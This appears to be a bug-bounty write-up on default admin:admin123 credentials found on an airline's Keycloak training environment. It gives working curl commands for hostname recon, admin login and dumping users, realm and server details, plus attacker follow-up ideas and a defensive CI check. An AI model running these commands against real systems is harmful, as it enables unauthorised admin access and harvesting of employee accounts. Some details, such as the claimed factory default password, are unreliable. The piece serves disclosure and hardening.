July 26, 2026
admin:admin123 — How Default Keycloak Credentials on a Cargo Training Environment Exposed 766…
Why this matters

By Priyansh
13 min read
Why this matters
Default credentials are the oldest vulnerability in the book. Every security awareness training module mentions them. Every hardening guide says "change the default password." Every compliance framework requires it. And yet, in 2026, a major airline group's cargo division was running an internet-facing Keycloak instance — version 12.0.3, end-of-life since December 2021 — with the factory default admin:admin123 password.
The story gets worse. The same default credentials had been reported on the production Keycloak instance 18 days earlier. The airline's security team had rotated the production credentials. They had not, however, audited the other Keycloak instances in their estate. The training environment — cargo-tre.example.com (anonymized) — still accepted admin:admin123, and had been doing so for 190 days of continuous uptime.
This write-up is about that finding. It's about the discovery methodology (Wayback Machine CDX recon, which surfaced a hostname that didn't appear in certificate transparency logs). It's about the impact (766 employee accounts, internal infrastructure leaks, disabled brute-force protection). And it's about the systemic pattern it reveals: when you rotate credentials on one instance, you have to audit every instance, because cloned environments inherit cloned credentials.
The target
The bug bounty programme I was working on covers a wide scope, including the cargo division's domains — let's call them *.example.com (anonymized). The cargo division runs a SaaS cargo-management platform — let's call it CargoCo (anonymized) — provided by a third-party vendor. The platform has multiple environments:
Hostname Environment Purpose cargo.example.com Production Live cargo operations cargo-rct.example.com Release Candidate Test Pre-production testing cargo-rc4-rct.example.com Release Candidate 4 Test Older release branch testing cargo-tre.example.com Training Environment Employee training on the cargo platform
Each environment is fronted by Cloudflare and uses Keycloak (an open-source identity and access management system) as its IAM provider. Keycloak manages user authentication for the cargo platform's web UI, API access, and SSO federation with the airline's corporate identity provider.
I'd already reported a default-credentials finding on the production Keycloak (cargo.example.com) 18 days earlier — that was a separate report, let's call it the "first report." The airline had acknowledged it, rotated the credentials, and the production instance no longer accepted admin:admin123. Good.
But the question I wanted to answer was: did they audit the other instances?
Phase 1: finding the hostnames (Wayback Machine CDX)
The first problem was finding the hostnames. The cargo division's subdomains don't appear in certificate transparency logs — they use wildcard certificates, which means CT logs only show *.example.com, not the individual subdomains. Standard subdomain enumeration tools (crt.sh, certspotter, hackertarget, brute-force wordlists) all came up empty.
The tool that worked was the Wayback Machine's CDX API. The Internet Archive has been crawling the web for decades, and they index every URL they've ever archived. If a subdomain was ever linked from a public page that the Archive crawled, it's in their index — even if the page is long gone.
The CDX API endpoint is:
https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=json&fl=timestamp,original,statuscode,mimetype&collapse=urlkey&limit=50000https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=json&fl=timestamp,original,statuscode,mimetype&collapse=urlkey&limit=50000This returns a JSON array of every archived URL matching *.example.com/*. Piping it through jq to extract unique hostnames:
curl -sS 'https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=json&fl=timestamp,original,statuscode,mimetype&collapse=urlkey&limit=50000' \
> wayback.json
jq -r '.[1:][] | .[1]' wayback.json \
| grep -oE 'https?://[^/]+' | sort -ucurl -sS 'https://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=json&fl=timestamp,original,statuscode,mimetype&collapse=urlkey&limit=50000' \
> wayback.json
jq -r '.[1:][] | .[1]' wayback.json \
| grep -oE 'https?://[^/]+' | sort -uThe output included three hostnames I'd never seen before:
https://cargo-rct.example.com
https://cargo-rc4-rct.example.com
https://cargo-tre.example.comhttps://cargo-rct.example.com
https://cargo-rc4-rct.example.com
https://cargo-tre.example.comThree cloned environments, none of which appeared in CT logs. The Wayback Machine was the only source that revealed their existence, because each had been linked from a public web page at some point in the past — probably an internal documentation page that was briefly public, or a vendor case study that mentioned the customer's environment URLs.
This is a technique I want to emphasise, because it's underused. Wayback Machine CDX recon surfaces hostnames that no other source does. If you're only using CT-log-based tools, you're missing the hostnames that were provisioned with wildcard certificates. The CDX API is free, unauthenticated, and reproducible — anyone with curl and jq can run it.
Phase 2: confirming Keycloak is the IAM provider
Once I had the three hostnames, the next step was to confirm what software they were running. Each hostname had a /.well-known/openid-configuration endpoint — the standard OIDC discovery document. Fetching it:
curl -sS 'https://cargo-tre.example.com/auth/realms/app-realm/.well-known/openid-configuration' \
-H 'User-Agent: Mozilla/5.0' | jq '.grant_types_supported'curl -sS 'https://cargo-tre.example.com/auth/realms/app-realm/.well-known/openid-configuration' \
-H 'User-Agent: Mozilla/5.0' | jq '.grant_types_supported'The response included "password" — confirming that the Resource Owner Password Credentials (ROPC) grant was enabled. ROPC is the OAuth2 grant that lets you exchange a username and password for an access token via a single POST /token request, with no browser, no JavaScript, no CAPTCHA, and no user interaction. It's the ideal primitive for automated credential testing — and it's also the grant that Keycloak's admin-cli client uses for admin authentication.
The OIDC discovery document also confirmed this was Keycloak (the issuer field had the characteristic /auth/realms/{realm} path structure), and the realm name was app-realm — the same realm name used on the production instance I'd already reported.
So: three cloned environments, all running Keycloak, all using the same app-realm realm. The question was whether any of them still accepted the default admin:admin123 credentials.
Phase 3: testing the default credentials
Keycloak's admin authentication uses the master realm (separate from the application realm) and the admin-cli client (a built-in client designed for command-line admin operations). The token endpoint is:
POST /auth/realms/master/protocol/openid-connect/tokenPOST /auth/realms/master/protocol/openid-connect/tokenWith the body:
grant_type=password&username=admin&password=admin123&client_id=admin-cligrant_type=password&username=admin&password=admin123&client_id=admin-cliI tested all three cloned environments:
for host in cargo-rct.example.com cargo-rc4-rct.example.com cargo-tre.example.com; do
echo "--- $host ---"
curl -sS -X POST "https://$host/auth/realms/master/protocol/openid-connect/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
-w "\nHTTP: %{http_code}\n" | head -c 300
echo ""
donefor host in cargo-rct.example.com cargo-rc4-rct.example.com cargo-tre.example.com; do
echo "--- $host ---"
curl -sS -X POST "https://$host/auth/realms/master/protocol/openid-connect/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
-w "\nHTTP: %{http_code}\n" | head -c 300
echo ""
doneResults:
Host Response Verdict cargo-rct.example.com HTTP 401 invalid_grant Hardened (creds don't work) cargo-rc4-rct.example.com HTTP 401 invalid_grant Hardened (creds don't work) cargo-tre.example.com HTTP 200 + 933-char JWT VULNERABLE (default creds work)
The training environment accepted admin:admin123. The other two didn't.
This is the "inconsistent security posture across cloned environments" pattern, and it's worth pausing to explain why it happens.
When an organisation provisions a new environment from a template (e.g., cloning a VM image, restoring a database backup, running a Terraform module), the new environment inherits the configuration of the template — including the admin password that was set during the template's initial installation. If the organisation later hardens the production environment (rotates the admin password, enables brute-force protection, etc.) but doesn't propagate those changes to the cloned environments, the clones retain the original default credentials.
The pattern is especially common with training and staging environments, because:
- They're provisioned less frequently than production, so they're often "forgotten" during hardening campaigns.
- They're perceived as lower-risk ("it's just training, what's the worst that could happen?"), so they get less security attention.
- They're often maintained by different teams (training teams vs. security teams), and the communication between those teams is imperfect.
In this case, the airline's security team had rotated the production credentials in response to my first report. They had not, however, propagated that rotation to the training environment. The training environment still had admin:admin123, 18 days after the production fix.
Phase 4: enumerating the damage
Now I had an admin token. The question was: what could I do with it?
I want to be very clear about the testing methodology here. Every action I took was read-only. No settings were changed, no users were created, no clients were modified, no roles were assigned, no realms were exported. The admin token was used exclusively for GET requests to read configuration and enumerate users — the same operations a legitimate triager would perform to verify the issue.
Step 1: List all realms
TOKEN=$(curl -sS -X POST 'https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
| jq -r '.access_token')
curl -sS 'https://cargo-tre.example.com/auth/admin/realms' \
-H "Authorization: Bearer $TOKEN" | jq '.[] | .realm'TOKEN=$(curl -sS -X POST 'https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
| jq -r '.access_token')
curl -sS 'https://cargo-tre.example.com/auth/admin/realms' \
-H "Authorization: Bearer $TOKEN" | jq '.[] | .realm'Response:
"master"
"app-realm"
"legacy-realm""master"
"app-realm"
"legacy-realm"Three realms. master is the Keycloak admin realm. app-realm is the application realm (the same name as on production). legacy-realm is a third realm — presumably for an older version of the cargo platform.
Step 2: Dump all users in the app-realm realm
# First page (500 users)
curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&first=0' \
-H "Authorization: Bearer $TOKEN" > users_page1.json
# Second page (266 users)
# Token expires in 60s, refresh it
TOKEN=$(curl -sS -X POST 'https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
| jq -r '.access_token')
curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&first=500' \
-H "Authorization: Bearer $TOKEN" > users_page2.json
jq -s 'add | length' users_page1.json users_page2.json
# → 766# First page (500 users)
curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&first=0' \
-H "Authorization: Bearer $TOKEN" > users_page1.json
# Second page (266 users)
# Token expires in 60s, refresh it
TOKEN=$(curl -sS -X POST 'https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli' \
| jq -r '.access_token')
curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&first=500' \
-H "Authorization: Bearer $TOKEN" > users_page2.json
jq -s 'add | length' users_page1.json users_page2.json
# → 766766 user accounts. Every single one had a 7-digit numeric username — the cargo platform's employee ID format:
1000001
1000002
1000003
1000004
1000005
1000006
1000007
1000008
1000009
1000010
... (756 more)1000001
1000002
1000003
1000004
1000005
1000006
1000007
1000008
1000009
1000010
... (756 more)This is the moment the finding went from "default creds on a training instance" to "default creds on a training instance that leaks the entire employee manifest for the cargo platform." Training environments typically mirror production user directories — the same employees who have production accounts also have training accounts, often with the same username (their employee ID) and sometimes with the same password (because who wants to remember two passwords?).
An attacker who obtains this list of 766 numeric IDs can:
- Cross-reference with LinkedIn to identify specific cargo operations staff by name and job title
- Cross-reference with prior breach data — if any of these employee IDs appeared in a previous airline breach, the attacker already has a password to try
- Launch targeted phishing campaigns referencing the employee's cargo-platform ID for credibility ("Dear employee 1000001, your cargo platform account requires immediate password reset…")
- Attempt password reuse against the production cargo environment — if the training password matches the production password (which is common, because users hate remembering multiple passwords), the attacker now has production access
Keycloak's admin REST API does not expose password hashes — so I couldn't see the users' passwords. But I didn't need to. The usernames alone were the leak.
Step 3: Check brute-force protection
curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm' \
-H "Authorization: Bearer $TOKEN" | jq '{
bruteForceProtected,
failureFactor,
waitIncrementSeconds,
minimumQuickLoginWaitSeconds,
accessTokenLifespan,
ssoSessionIdleTimeout
}'curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm' \
-H "Authorization: Bearer $TOKEN" | jq '{
bruteForceProtected,
failureFactor,
waitIncrementSeconds,
minimumQuickLoginWaitSeconds,
accessTokenLifespan,
ssoSessionIdleTimeout
}'Response:
{
"bruteForceProtected": false,
"failureFactor": 30,
"waitIncrementSeconds": 60,
"minimumQuickLoginWaitSeconds": 60,
"accessTokenLifespan": 18000,
"ssoSessionIdleTimeout": 1800
}{
"bruteForceProtected": false,
"failureFactor": 30,
"waitIncrementSeconds": 60,
"minimumQuickLoginWaitSeconds": 60,
"accessTokenLifespan": 18000,
"ssoSessionIdleTimeout": 1800
}bruteForceProtected: false. Brute-force protection is disabled. The failureFactor is 30 — meaning an attacker can attempt 30 passwords per username before a temporary lockout triggers.
Do the math: 766 usernames × 30 attempts each = 22,980 password guesses before any single account locks. That's more than enough to test the top 25 most common passwords (which account for ~10% of real-world passwords) against every single user, with 5 guesses to spare per user.
Step 4: Inspect the OAuth2 client configuration
CLIENT_ID=$(curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/clients?max=200' \
-H "Authorization: Bearer $TOKEN" | jq -r '.[] | select(.clientId=="cargo") | .id')
curl -sS "https://cargo-tre.example.com/auth/admin/realms/app-realm/clients/$CLIENT_ID" \
-H "Authorization: Bearer $TOKEN" | jq '{
clientId, publicClient, directAccessGrantsEnabled,
standardFlowEnabled, serviceAccountsEnabled,
redirectUris, webOrigins
}'CLIENT_ID=$(curl -sS 'https://cargo-tre.example.com/auth/admin/realms/app-realm/clients?max=200' \
-H "Authorization: Bearer $TOKEN" | jq -r '.[] | select(.clientId=="cargo") | .id')
curl -sS "https://cargo-tre.example.com/auth/admin/realms/app-realm/clients/$CLIENT_ID" \
-H "Authorization: Bearer $TOKEN" | jq '{
clientId, publicClient, directAccessGrantsEnabled,
standardFlowEnabled, serviceAccountsEnabled,
redirectUris, webOrigins
}'Response (truncated):
{
"clientId": "cargo",
"publicClient": true,
"directAccessGrantsEnabled": true,
"standardFlowEnabled": true,
"serviceAccountsEnabled": false,
"redirectUris": [
"http://10.0.1.51:8080/cargo/*",
"https://10.0.1.37:8443/cargo/*",
"http://10.0.1.37:8080/cargo/*",
"https://cargo-tre.example.com/cargo/*",
"https://fedhub.example.com/*",
"https://fedhub.example-corp.com/*"
],
"webOrigins": ["*", "+", "https://cargo-tre.example.com"]
}{
"clientId": "cargo",
"publicClient": true,
"directAccessGrantsEnabled": true,
"standardFlowEnabled": true,
"serviceAccountsEnabled": false,
"redirectUris": [
"http://10.0.1.51:8080/cargo/*",
"https://10.0.1.37:8443/cargo/*",
"http://10.0.1.37:8080/cargo/*",
"https://cargo-tre.example.com/cargo/*",
"https://fedhub.example.com/*",
"https://fedhub.example-corp.com/*"
],
"webOrigins": ["*", "+", "https://cargo-tre.example.com"]
}Three things jumped out:
- Internal IP addresses in
redirectUris—10.0.1.51and10.0.1.37. These are RFC 1918 private addresses. They should never appear in an OAuth2 client configuration. Their presence reveals the internal network topology (the cargo application server cluster lives on10.0.1.0/24), and they enable server-side OAuth2 flows to be redirected to internal endpoints — a primitive for SSRF. - Federation Hub hostnames in
redirectUris—fedhub.example.comandfedhub.example-corp.com. The cargo platform federates authentication with the corporate Federation Hub. Because thecargoclient ispublicClient: true(no client secret) and trusts the entire federation-hub hostname as a redirect target (https://fedhub.example.com/*), any page hosted anywhere underfedhub.example.comcan receive OAuth2 authorization codes intended for the cargo client. If an attacker can plant a single page on the federation hub (via an open redirect, an XSS, or a misconfigured SharePoint), they can intercept authorization codes. - ROPC enabled (
directAccessGrantsEnabled: true) — the same grant I used to authenticate as admin. ROPC is deprecated in OAuth 2.1 because it requires the client to handle user passwords directly. Its presence on a public client means an attacker can brute-force passwords via a singlePOST /tokenrequest per attempt — no browser, no JavaScript, no CAPTCHA.
Step 5: Read the Keycloak serverinfo for internal infrastructure leaks
curl -sS 'https://cargo-tre.example.com/auth/admin/serverinfo' \
-H "Authorization: Bearer $TOKEN" | jq '.systemInfo | {
version, userName, userDir, osName, osVersion,
javaVersion, javaVendor, javaHome, serverTime, uptime
}'curl -sS 'https://cargo-tre.example.com/auth/admin/serverinfo' \
-H "Authorization: Bearer $TOKEN" | jq '.systemInfo | {
version, userName, userDir, osName, osVersion,
javaVersion, javaVendor, javaHome, serverTime, uptime
}'Response (truncated):
{
"version": "12.0.3",
"userName": "svc-keycloak",
"userDir": "/projects/cargo/staging/keycloak-12.0.3/bin",
"osName": "Linux",
"osVersion": "4.18.0-<REDACTED>.el8.x86_64",
"javaVersion": "1.8.0_<REDACTED>",
"javaVendor": "Red Hat, Inc.",
"uptime": "190 days, 20 hours, 45 minutes, 18 seconds"
}{
"version": "12.0.3",
"userName": "svc-keycloak",
"userDir": "/projects/cargo/staging/keycloak-12.0.3/bin",
"osName": "Linux",
"osVersion": "4.18.0-<REDACTED>.el8.x86_64",
"javaVersion": "1.8.0_<REDACTED>",
"javaVendor": "Red Hat, Inc.",
"uptime": "190 days, 20 hours, 45 minutes, 18 seconds"
}This is where the finding escalated from "default creds" to "default creds + full internal infrastructure leak." The serverinfo endpoint leaked:
- Keycloak version:
12.0.3— released December 2020, end-of-life since December 2021. Affected by at least 6 known CVEs, including CVE-2021-20187 (XSS in admin console) and CVE-2022-3782 (SSRF in LDAP federation). - Server username:
svc-keycloak— the OS-level user account under which Keycloak runs. Thestagingprefix suggests "the airline's staging admin" (anonymized). An attacker who later obtains a foothold on the host can attempt SSH brute-force with this username. - Filesystem path:
/projects/cargo/staging/keycloak-12.0.3/bin— reveals the internal directory structure of the cargo staging environment. Useful for path-traversal payload crafting if a file-handling vulnerability is later found. - OS version:
4.18.0-<REDACTED>.el8.x86_64— RHEL 8.5, kernel 4.18. Multiple kernel CVEs apply to this version. - Java version:
1.8.0_<REDACTED>— Java 8, end-of-life since March 2022. Multiple deserialization gadgets apply. - Uptime: 190 days, 20 hours, 45 minutes. This is not a sandbox — it is a stable, always-on environment that has been continuously exposed to the Internet for over 6 months with default credentials.
Phase 5: what I didn't do
I want to be explicit about this, because the difference between responsible research and malicious activity is what you do with access, not whether you have it.
I did not:
- Create any users
- Modify any settings
- Change any passwords
- Reset any user's password
- Create or modify any OAuth2 clients
- Modify any
redirectUris - Disable or enable any realms
- Export any realm
- Attempt to authenticate as any of the 766 users
- Attempt password brute-force against any user
- Plant any malicious identity provider
- Modify the
frontendUrl(which would deface the login page) - Trigger any password-reset emails
- Delete anything
I did:
- Authenticate as the default
adminuser (using credentials that already existed as factory defaults — I did not create them) - Read the realm list
- Read the user list (766 users, no passwords — Keycloak's admin API doesn't expose password hashes)
- Read the client configuration
- Read the realm configuration
- Read the
serverinfoendpoint
Every action was a GET request (or a POST /token for authentication). The same operations a legitimate triager would perform to verify the issue. No alerts should have been triggered, no accounts should have been locked out, no logs should show any anomalous activity beyond "admin logged in from an unusual IP."
Phase 6: the systemic pattern
The most important part of this finding isn't the training environment itself — it's what the training environment reveals about the airline's broader IAM posture.
The "default creds on clone" pattern
When I reported the production Keycloak (cargo.example.com) 18 days earlier, the airline rotated the production credentials. Good. But they didn't audit the other Keycloak instances in their estate. The training environment still had admin:admin123 — and had been running with those credentials for 190 days of continuous uptime.
This is the "default creds on clone" pattern, and it's a systemic problem in any organisation that provisions environments from templates. The pattern works like this:
- Initial provisioning: A new Keycloak instance is created from a template. The template includes the factory default
admin:admin123password (because that's what Keycloak ships with). The provisioning engineer intends to change it later. - Forget to change it: The engineer gets distracted by other tasks. The default password persists.
- Production hardening: A security researcher (me) reports the default credentials on production. The security team rotates the production password.
- Forget to audit clones: The security team doesn't propagate the rotation to the cloned environments. The clones retain the default password.
- Researcher returns: The researcher (me) checks the clones and finds the same default credentials.
The fix isn't "rotate the credentials on this one training instance." The fix is "establish a configuration-management process that audits every Keycloak instance on a regular basis and fails any deployment that accepts default credentials."
A simple CI/CD check would catch this:
# Add to every Keycloak deployment's CI/CD pipeline
RESPONSE=$(curl -sS -X POST "https://$NEW_INSTANCE/auth/realms/master/protocol/openid-connect/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli')
if echo "$RESPONSE" | jq -e '.access_token' > /dev/null; then
echo "FAIL: New Keycloak instance accepts default admin:admin123 credentials"
exit 1
fi# Add to every Keycloak deployment's CI/CD pipeline
RESPONSE=$(curl -sS -X POST "https://$NEW_INSTANCE/auth/realms/master/protocol/openid-connect/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=password&username=admin&password=admin123&client_id=admin-cli')
if echo "$RESPONSE" | jq -e '.access_token' > /dev/null; then
echo "FAIL: New Keycloak instance accepts default admin:admin123 credentials"
exit 1
fiIf this check had been in place when the training environment was provisioned, the deployment would have failed and the engineer would have been forced to change the password before the instance went live.
The "training environments are public" anti-pattern
The other systemic issue is that the training environment was reachable from the public Internet at all. A training environment — by definition — is used by employees learning the cargo platform. It doesn't need to be accessible from outside the corporate network. It should be behind the corporate VPN, accessible only from internal IP ranges.
The fact that it was public-internet-facing meant that:
- The default credentials were exploitable by anyone on the Internet, not just internal attackers
- The 766-user manifest was exfiltratable by anyone, not just insiders
- The internal infrastructure details were discoverable by anyone
Moving the training environment behind the VPN would have reduced the attack surface to "internal attackers only" — a much smaller threat model.
Lessons learned
A few things this engagement drove home for me:
1. When you report a default-credentials finding, check the clones. If the target organisation runs multiple environments (prod, staging, training, RCT, dev), the default credentials are almost certainly present on some of them. The production instance will be hardened first (because that's what the security team focuses on), but the clones will lag behind. Check them all.
2. Wayback Machine CDX is the most underused recon tool. It surfaces hostnames that no CT-log-based tool can find. It's free, unauthenticated, and reproducible. If you're not using it, you're missing findings.
3. Read-only testing is sufficient for default-credentials reports. You don't need to create a user, modify a setting, or delete anything to prove the vulnerability. Authenticating as admin with admin:admin123 and then reading the user list is enough. The triage team can verify the credentials work in 30 seconds with a single POST /token request. Don't do destructive things you don't need to do.
4. The "training environment" is not a throwaway. Training environments often mirror production user directories — same usernames, sometimes same passwords. A default-credentials finding on a training environment is not less serious than on production; it's differently serious. Production gives you real-time access to live operations. Training gives you a username manifest that enables targeted attacks against production users.
5. Brute-force protection configuration matters as much as the credentials themselves. Even if the default credentials are rotated, if bruteForceProtected: false and failureFactor: 30, the 766 leaked usernames are still a credential-stuffing primitive. The fix isn't just "change the admin password" — it's "enable brute-force protection, reduce the failure factor, and disable ROPC."
-
Internal IP addresses in OAuth2
redirectUrisare a red flag. They reveal internal network topology and enable SSRF via server-side OAuth2 flows. If you see RFC 1918 addresses in a client'sredirectUris, flag it — even if the default credentials have been rotated. -
The Keycloak
serverinfoendpoint is a goldmine. With admin access, it leaks the OS username, filesystem path, kernel version, Java version, and uptime. This is exactly the information an attacker needs to plan a host-level exploitation path. Restrict access toserverinfoto local-only, or remove it entirely in production.
8. CVSS 9.8 is correct for default credentials on an internet-facing IAM. Don't let triage talk you down to "High" because "it's just a training environment." The training environment leaks the production user manifest. The impact is Confidentiality High (766 accounts + infrastructure), Integrity High (admin can modify anything), and Availability High (admin can delete realms). That's 9.8.